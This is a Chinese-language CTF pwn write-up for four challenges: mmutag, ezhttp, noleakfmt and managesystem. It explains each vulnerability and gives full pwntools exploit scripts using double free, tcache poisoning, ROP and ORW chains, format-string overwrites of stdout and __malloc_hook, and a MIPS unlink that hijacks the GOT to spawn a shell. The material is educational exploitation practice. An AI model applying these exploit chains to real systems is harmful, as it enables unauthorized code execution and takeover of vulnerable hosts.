0x01 summary
mmutage:两个洞一个double free和栈溢出,栈溢出后面接一个输出可以leak canary,由于给了栈地址并且可以edit stack所以可以double free改fd到stack上,这样就可以rop先泄漏libc,然后再csu来call read到ret位置写入system(“/bin/sh”)来getshell。
noleakfmt:看到stdout结构体的地址在当前printf栈地址的上面,这里第一步改双链位置上的stack值到程序地址的地方,我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。
managesystem:32位的mips堆题,有个heapoveflow的漏洞,可以利用unlink劫持note_list进行leak libc并劫持got表。
ezhttp:模拟http请求,2.27 double free, 劫持hook为setcontext+53进行orw
0x02 mmutag
查看文件
got表可劫持,PIE没开
IDA分析
给了个栈地址:
double free:
栈溢出:
思路
利用栈溢出打印出canary,double free改fd劫持stack,写rop一个是泄露libc’地址,再一个是改got表,csu再写入rsp,执行system(“/bin/sh”)进行getshell即可
exp
# coding=utf-8
from pwn import *
context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
if debug:
p = process("./mmutag")
elf = ELF("./mmutag")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
p = remote('183.129.189.62', 58704)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF("./mmutag")
one_gadget = 0x0
def myIntroduce(introduce):
p.sendlineafter("input your choice:\n\n", "1")
p.sendafter("your introduce \n", introduce)
def introduce():
p.sendlineafter("input your choice:\n\n", "2")
def create(index, content):
p.sendlineafter("your choise:\n", "1")
p.sendlineafter("your id:\n", str(index))
p.sendafter("your content\n", content)
def delete(index):
p.sendlineafter("your choise:\n", "2")
p.sendlineafter("your id:\n", str(index))
def stackSend(content):
p.sendlineafter("input your choice:\n\n", "2")
p.sendlineafter("your choise:\n", "3")
p.send(content)
def exit():
p.sendlineafter("your choise:\n","4")
pop_rdi_ret = 0x0000000000400d23
pop_r12_r13_r14_r15_ret = 0x0000000000400d1c # 0x0000000000400d1c: pop r12; pop r13; pop r14; pop r15; ret;
p.recvuntil("input you name: \n")
p.sendline("blueSheep\n")
p.recvuntil("your tag: 0x")
stack_address = int(p.recv(12),16)
success("stack address ==> "+hex(stack_address))
myIntroduce(p64(0x71))
stackSend("a"*0x19)
p.recvuntil("content: ")
p.recvuntil("a"*0x18)
canary = u64(p.recv(8))
canary = (canary >> 8) << 8
success("canary ==> "+hex(canary))
p.sendlineafter("your choise:\n", "3")
p.send(p64(0)+p64(0x71)+p64(0)+"\x00")
create(1,"\n")
create(2,"\n")
delete(1)
delete(2)
delete(1)
create(3,p64(stack_address - 0x40))
create(4,"\n")
create(5,"\n")
payload = flat([
0,canary,stack_address+0x10,
pop_rdi_ret,elf.got['puts'],
elf.plt['puts'],pop_r12_r13_r14_r15_ret,
elf.got['read'],0x80,stack_address+0x28,0,0x400d00])
create(6,payload)
p.sendlineafter("your choise:\n","4")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym['puts']
success("libc address ==> "+hex(libc.address))
p.send(p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system']))
p.interactive()
0x03 ezhttp
查看文件
IDA分析
这道题是一道模拟http请求的题目,功能参数都通过packet传递,同时一些验证字符也需要按照解析格式放在数据包内一并传递。需要耐心解析数据包格式,较繁琐。
最后检查密码的地方不用管,看汇编可以理解,result恒不为0。
数据格式大致是:
28 payload = "POST "
29 payload+= command
30 payload+= " Cookie: "
31 payload+= "user"
32 payload+= "="
33 payload+= "admin"
34 payload+= "token: "
35 payload+= "\r\n\r\n"
36 payload+= content
接下来就是三个功能:create、delete和edit。create会直接给出heap地址,free中有double free,没有show。这道题目开启了沙箱,只能考虑orw来获得flag。
思路
double free劫持tcache pthread header,通过io来进行leak libc,然后改hook为setcontext+53劫持stack esp指针,之后会跳转到提前布置的rop中执行ORW来获得flag
由于create通过\x00来算size,所以我们需要分开写,第一次写flag,第二次写write_base
exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./ezhttp')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if debug:
p = process('./ezhttp')
# p = process('./ezhttp',env={'LD_PRELOAD':'./libc-2.27.so'})
else:
p = remote('183.129.189.61',51302)
def makePacket(command,content):
payload = "POST "
payload+= command
payload+= " Cookie: "
payload+= "user"
payload+= "="
payload+= "admin"
payload+= "token: "
payload+= "\r\n\r\n"
payload+= content
return payload
def create(content='a\x00'):
payload = "content="
payload += content
sendPacket(makePacket("/create",payload))
def delete(idx):
payload = "index="
payload += str(idx)
sendPacket(makePacket("/del",payload))
def edit(idx,content):
payload = "index="
payload += str(idx)
payload += "&content="
payload += content
payload += '\n'
sendPacket(makePacket("/edit",payload))
def sendPacket(content):
p.sendafter("======= Send Http packet to me: ========",content)
#gdb.attach(p,"b *0x555555554000+0xf9d")
create("a"*0x100+"\x00") # 0
p.recvuntil("Your gift: 0x")
heap_base = int(p.recv(12),16)-0x260
success("heap base ==> "+hex(heap_base))
create("b"*0x100+"\x00") # 1
create("c"*0x100+"\x00") # 2
create("d"*0x100+"\x00") # 3
create("e"*0x18+"\x00") # 4
delete(4)
for i in range(7):
delete(0)
delete(1)
create("a"*0x100+"\x00") # 5
edit(5,p64(heap_base+0x10))
create("a"*0x100+"\x00") # 6
create("\x07"*0x100+"\x00") # 7
edit(7,"\x07"*0x40+p64(0x370+heap_base)) # 7
create("\x60\x07\xdd") # 8
edit(7,"\x07"*0x40+p64(0x370+heap_base))
create("\x00") # 9
create(p64(0xfbad1877)) # 10 io_stdout->flag
edit(7,"\x07"*0x40+p64(0x370+heap_base))
edit(8,"\x80\x07\xdd")
create("\x00") # 11
create("a\x00") # 12 io_stdout->write_base
edit(10,p64(0xfbad1800)[:4])
edit(12,"\x00")
p.recvn(0x68)
libc.address = u64(p.recvn(8))-libc.sym['_IO_2_1_stdout_'] -131
success("libc adddress ==> "+hex(libc.address))
syscall = 0x00000000000d29d5+libc.address
pop_rax = 0x43a78+libc.address
pop_rsi = 0x23e8a+libc.address
pop_rdi = 0x2155f+libc.address
pop_rdx = 0x1b96+libc.address
edit(7,"\x07"*0x40+p64(libc.sym['__free_hook']))
create(p64(libc.address+0x52145)[:6])
edit(5,"\x11"*0x98+p64(pop_rax)+p64(0x480+heap_base)+p64(pop_rax)) # esp
edit(3,"./flag\x00") # 0x0000555555758590
payload = flat([2,pop_rdi,heap_base+0x590,pop_rsi,0,syscall,
pop_rax,0,pop_rdi,4,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall,
pop_rax,1,pop_rdi,1,pop_rsi,heap_base+0x5a0,pop_rdx,0x20,syscall
])
edit(2,payload)
gdb.attach(p)
delete(5)
p.interactive()
0x04 noleakfmt
查看文件
IDA分析
这里有个格式化字符串的漏洞,同时可以无限循环,注意关闭了输出缓冲区。
第一眼看着很像unprintableV,但是注意到格式化字符串是输入到bss上,同时关了stdout,但是这里没有stderr所以不能直接改bss中stdout为stderr,所以只能操作stdout结构体了。
思路
看到stdout结构体的地址在当前printf栈地址的上面,这里第一步改双链位置上的stack值到程序地址的地方,我们第一步改printf返回地址为start抬高栈地址。后面就可以改stdout的file结构体的fileno为2就可以成功输出了。
在抬高栈顶的时候选择改printf返回地址为start主要是由于在__libc_start_main中有这么一条指令就足以抬高到我们需要的地方。
后面我们则是通过bss上格式化字符串去改掉malloc_hook为one_gadget,最后通过输入大量字符串触发malloc执行one_gadget
exp
#coding=utf-8
from pwn import *
context.update(arch="amd64",os="linux",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
debug = 1
p = process("./noleakfmt")
elf = ELF("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
start_addr = 0x7b0
malloc_hook_low = 0x10
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
def exp():
p.recvuntil("gift : 0x")
stack_addr = int(p.recv(12),16)
success("stack address ==> "+hex(stack_addr))
stack_addr_low = u16(p64(stack_addr)[:2])
success("stack address low 2 bytes ==> "+hex(stack_addr_low))
if stack_addr_low > 0x2000 or stack_addr_low < 0x66c: # need crack
raise EOFError
payload = "%{}c%11$hn".format(str(stack_addr_low-0x0c))
p.sendline(payload)
sleep(0.5)
payload = "%{}c%37$hn".format(str(start_addr)) # need crack
p.sendline(payload)
sleep(0.5)
payload = "%{}c%10$hn".format(str(stack_addr_low-0x54))
p.sendline(payload)
sleep(0.5)
payload = "%{}c%36$hhn".format(str(0x90)) # modify stdout to stdout->fileno
p.sendline(payload)
sleep(0.5)
payload = "%{}c%26$hhn".format(str(0x2)) # modify fileno 0 to 2
p.sendline(payload)
sleep(0.5)
payload = "%9$phhh"
p.sendline(payload)
p.recvuntil("0x")
data = int(p.recv(12),16)
libc.address = data-240-libc.sym["__libc_start_main"]
success("libc address ==> "+hex(libc.address))
malloc_hook_addr = libc.sym['__malloc_hook']
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(malloc_hook_addr & 0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+0x2))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>16)&0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c+4))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((malloc_hook_addr>>32)&0xffff))
p.sendline(payload)
p.recvuntil("--")
one_gadget = one_gadgets[3]+libc.address
payload = "%{}c%10$hn--".format(str(stack_addr_low-0x5c))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%25$hn--".format(str(one_gadget & 0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(malloc_hook_low+0x2))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%25$hn--".format(str((one_gadget>>16)&0xffff))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str(stack_addr_low+4))
p.sendline(payload)
p.recvuntil("--")
payload = "%{}c%36$hn--".format(str((one_gadget>>32)&0xffff))
p.sendline(payload)
p.recvuntil("--")
p.sendline("%999999c%10$n")
p.sendline("cat flag 1>&2")
while True:
try:
exp()
p.interactive()
p.close()
except:
p.close()
if debug:
p = process("./noleakfmt")
elf = ELF("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
0x05 managesystem
程序分析
保护全关,32位的mips题目
Ghidra分析程序
Ghidra软件介绍和安装教程在这
用来反编译mips比较方便。
这是一个传统的菜单堆题,分别有create、show、modify、delete四个功能。
modify的位置有溢出8个字节的漏洞,那么我们很容易就想到利用unlink进行攻击,劫持note_list。
思路
在当前chunk中伪造一个0x20的堆块,同时溢出编辑下一个chunk的pre_size和pre_inuse位,这样删除下一个chunk的时候会进行向上合并,触发unlink,最后可以达到劫持note_list的目标。
写入got表,先打印出libc地址,再劫持free函数为system,delete一个带有“/bin/sh”字符串的chunk即可getshell
exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
elf = ELF("./pwn3")
libc = ELF("./lib/libc.so.0")
global p
remote_gdb=0
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
else :
p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
def create(sz,info='a'):
p.sendlineafter("options >>",str(1))
p.sendlineafter("Enter the user info's length:",str(sz))
if sz != 0:
p.sendafter("Enter user's info:",info)
def delete(idx):
p.sendlineafter("options >>",str(2))
p.sendlineafter("Enter the index of user:",str(idx))
def edit(idx,info):
p.sendlineafter("options >>",str(3))
p.sendlineafter("Enter the index of user you want edit:",str(idx))
p.sendafter("The new user's info:",info)
def show(idx):
p.sendlineafter("options >>",str(4))
p.sendlineafter("Enter the index of user you want show: \n",str(idx))
p = get_sh()
note_list = 0x411830
create(0x20)
create(0x20-8)
payload = p32(0)+p32(0x21)+p32(note_list-0xc)+p32(note_list-0x8)+"a"*0x10+p32(0x20)+p32(0x20)
edit(0,payload)
delete(1)
payload = p32(0)*2+p32(0x411830)+p32(0x50)+p32(elf.got['read'])+p32(0x4)
edit(0,payload)
show(1)
p.recvuntil("info: ")
data = u32(p.recv(4))
print hex(data)
libc.address = data - libc.sym['read']
success("libc address ==> "+hex(libc.address))
payload = p32(0x411830)+p32(0)+p32(elf.got['free'])+p32(0x10)+p32(libc.search("/bin/sh").next())
edit(0,payload)
edit(1,p32(libc.sym['system']))
delete(2)
p.interactive()
参考:
天枢西湖论剑WP